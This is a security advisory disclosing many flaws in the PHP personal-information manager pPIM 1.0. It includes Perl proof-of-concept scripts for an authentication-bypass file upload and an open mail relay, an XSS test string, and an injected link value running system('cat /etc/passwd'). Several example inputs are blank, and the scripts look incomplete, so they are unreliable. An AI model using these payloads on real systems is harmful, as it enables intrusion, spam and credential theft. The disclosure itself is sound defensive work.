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pPIM Multiple Vulnerabilities

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- -= pPIM Multiple Vulnerabilities =-

Version Tested:  pPIM 1.0
Vendor notified
Full details can also be found at http://www.lampsecurity.org/node/18
Author: Justin C. Klein Keane <justin@xxxxxxxxxxxx>


pPIM (http://www.phlatline.org/index.php?page=prod-ppim) is a Personal
Information Management application written in PHP that can store
contacts (including their photos), events, links, notes, send and check
email, and upload files.  pPIM came to my attention recently with the
publishing on Milw0rm of exploit code designed to facilitate remote
command execution (http://www.milw0rm.com/exploits/8093).  As there is a
milw0rm exploit already posted it is likely malicious users are already
exploiting pPIM.  I decided to have a closer look at pPIM and, quite
frankly, was horrified by what I found.  pPIM contains multiple
vulnerabilities, from version information leakage, to system credential
disclosure, to remote command execution, authentication bypass and cross
site scripting vulnerabilities.  Possibly the only class of
vulnerability pPIM is not exposed to is SQL injection as it doesn't
employ any database back end.  That said, there seemed to be nothing in
the way of security other than an easily bypassable GET variable check
in the header, present in pPIM.  The following is a brief synopsis of my
findings, although I gave up investigation at after discovering so many
flaws in the application's architecture with respect to security.

Version Information Leakage:

By calling the URL http://target.tld/ppim/Readme.txt you can view the
version information of the installed version of pPIM.

Password Hash Disclosure:

By requesting the URL http://target.tld/ppim/password.dat the password
hash is revealed.  Depending on the hashing algorithm used by PHP this
could be trivially easy to compromise using a password cracking tool
like John the Ripper.

Unauthenticated Password Change:

There is no authentication protection on the password changing script,
so calling


will present an attacker with the password change script and allow
password reset without confirming the existing password.

Multiple Authentication Problems:

Because the authentication takes place in templates/header.html in an
embedded piece of PHP code, depending on server configuration, this code
might not be executed.  Unless the web server is specifically configured
to execute PHP embeded in HTML files server site the PHP code will
instead simply be passed back to clients as actual HTML.

Authentication bypass is possible by simply appending the GET variable
'login=1' to the URL.  For example, to access the Calendar page, calling
the URL 'http://target.tld/ppim/calendar.php' will redirect the
unauthenticated user to the login page.  However, calling the URL
'http://target.tld/ppim/calendar.php?login=1' will allow unauthenticated
access to the Calendar.  Any of the pages in pPIM can be accessed this way.

Arbitrary File Upload

pPIM's upload.php script allows attackers to upload arbitrary scripts of
any type to the target server.  To do this using Perl simply create the
file and upload it using Perl:

$ echo "<?php echo phpinfo();?>" > phpinfo.php

The execute the following Perl script:

# pPIM Uploader by Justin C. Klein Keane <justin@xxxxxxxxxxxxxxxx>
# Used to upload the file phpinfo.php to a target pPIM site
# bypassing authentication.
# Feb 24, 2009
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

$ua = LWP::UserAgent->new();
$request = HTTP::Request->new();

$response = $ua->request( POST 'http://target.tld/ppim/upload.php?login=1',
        Content_Type => 'form-data',
        Content =>
                'submitupload' => 'submitupload',
                'userfile' => ['./info.php']
die "Error: ", $response->status_line unless $response->is_success;

Unauthorized Email Relay

pPIM's sendmail.php script has absolutely no authentication or
validation, allowing anyone with access to the site to relay e-mail.
The following Perl script will relay email through the pPIM installation:

# pPIM Mailer by Justin C. Klein Keane <justin@xxxxxxxxxxxxxxxx>
# Used to relay mail through any pPIM installation
# Feb 24, 2009
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

$ua = LWP::UserAgent->new();
$request = HTTP::Request->new();

$response = $ua->request( POST 'http://target.tld/ppim/sendmail.php',
        Content_Type => 'form-data',
        Content =>
                'submitemail' => 'submitemail',
                'to' => 'root@localhost',
                'from' => 'root@localhost',
                'message' => 'You are just asking for spam!'
die "Error: ", $response->status_line unless $response->is_success;

Posting Unauthenticated Notes

The notes.php script fails to check authentication before inserting new
notes.  This allows attackers to post notes without even having to
bypass authentication.  Similarly no authentication is required to
delete notes, allowing unauthenticated attackers to clear all stored notes.

XSS Vulnerability

None of the form fields seem to be adequately scrubbed to prevent Cross
Site Scripting (XSS).  This vulnerability is endemic throughout the
application.  For instance, creating a note with the title
"<script>alert('foo');</script>" causes a JavaScript alert box to pop up
the word "foo" whenever the Notes screen is accessed.

System Credential Exposure

Because the Email function stores mailbox information as a flat file it
is easy to disclose system account information.  For instance, in pPIM,
if I were to create a new mailbox for root a file called "root.email"
would be created in the email folder.  By calling the URL
http://target.tld/ppim/email/root.email the following output is exposed
via web browser:

$mailserver = "localhost";
$username = "root";
$password = "root_password";

Thus an attacker that can enumerate (or guess) user accounts for
mailboxes set up via pPIM can easily disclose server location as well as
usernames and passwords. This vulnerability affects all data stored in
pPIM - it can be accessed directly via URL call without any form of
authentication and will expose any material stored in pPIM to users
without authentication.

Arbitrary Command Execution

By creating a specially crafted link an attacker can run arbitrary
commands with the privileges of the web server process.  By altering the
URL field of a link the data files created can be manipulated.  Under
normal usage a user can create a new link under a group, say the
'test_group' with the name 'testlink', the URL '' and the
description 'test description'.  This file is then stored in pPIM's root
directory under the links/test_group/ directory as testlink.link.
Viewing this file we see:

$ cat testlink.link
$name="test link";
$description="This is the test link";

This file is included as a PHP include when the note is rendered.
Rudimentary JavaScript provides client side validation of input data,
but if an attacker arbitrarily submitted a form with the following data:


The URL variable is overwritten with injected definition.  Looking at
the evil_link.link file created on the filesystem we see:

$ cat evil_link.link
$url="";$url=system('cat /etc/passwd');$foo="";

Thus we have arbitrarily overwritten the $url variable and assigned it
the value that returns from the output of our system call.  In fact, now
when a user viewed the Links page they could read the /etc/passwd file
via a web browser.


I stopped poking at pPIM after gleaning these details as it became
abundantly clear that the application is thoroughly riddled with holes.
 pPIM fails to enforce any security in it's code, and deploying the
application produces a gaping hole in the security of any host.


Uninstall pPIM immediately!

- --
Justin C. Klein Keane
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org